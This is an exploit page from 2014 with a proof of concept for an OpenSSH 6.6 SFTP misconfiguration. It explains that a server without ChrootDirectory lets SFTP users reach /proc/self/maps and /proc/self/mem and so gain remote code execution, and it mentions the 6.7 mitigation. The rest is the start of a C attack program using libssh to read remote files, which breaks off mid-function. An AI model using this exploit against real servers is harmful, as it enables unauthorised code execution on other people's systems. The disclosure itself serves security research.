Home / exploits OpenSSH 6.6 SFTP Misconfiguration Proof Of Concept
Posted on 09 October 2014
OpenSSH lets you grant SFTP access to users without allowing full command execution using "ForceCommand internal-sftp". However, if you misconfigure the server and don't use ChrootDirectory, the user will be able to access all parts of the filesystem that he has access to - including procfs. On modern Linux kernels (>=2.6.39, I think), /proc/self/maps reveals the memory layout and /proc/self/mem lets you write to arbitrary memory positions. Combine those and you get easy RCE. The linux version of OpenSSH 6.7 contains a mitigation, see the release notes: * sftp-server(8): On platforms that support it, use prctl() to prevent sftp-server from accessing /proc/self/{mem,maps} Here's my PoC for 64bit Linux: #define _GNU_SOURCE // THIS PROGRAM IS NOT DESIGNED TO BE SAFE AGAINST VICTIM MACHINES THAT // TRY TO ATTACK BACK, THE CODE IS SLOPPY! // (In other words, please don't use this against other people's machines.) #include <libssh/libssh.h> #include <libssh/sftp.h> #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <errno.h> #define min(a,b) (((a)<(b))?(a):(b)) sftp_session sftp; size_t grab_file(char *rpath, char **out) { size_t allocated = 4000, used = 0; *out = calloc(1, allocated+1); sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0); if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s ", rpath, ssh_get_error(sftp)), exit(1); while (1) { ssize_t nbytes = sftp_read(f, *out+used, allocated-used); if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s ", rpath, ssh_get_error(sftp)), exit(1); if (nbytes == 0) { (*out)[used] = '
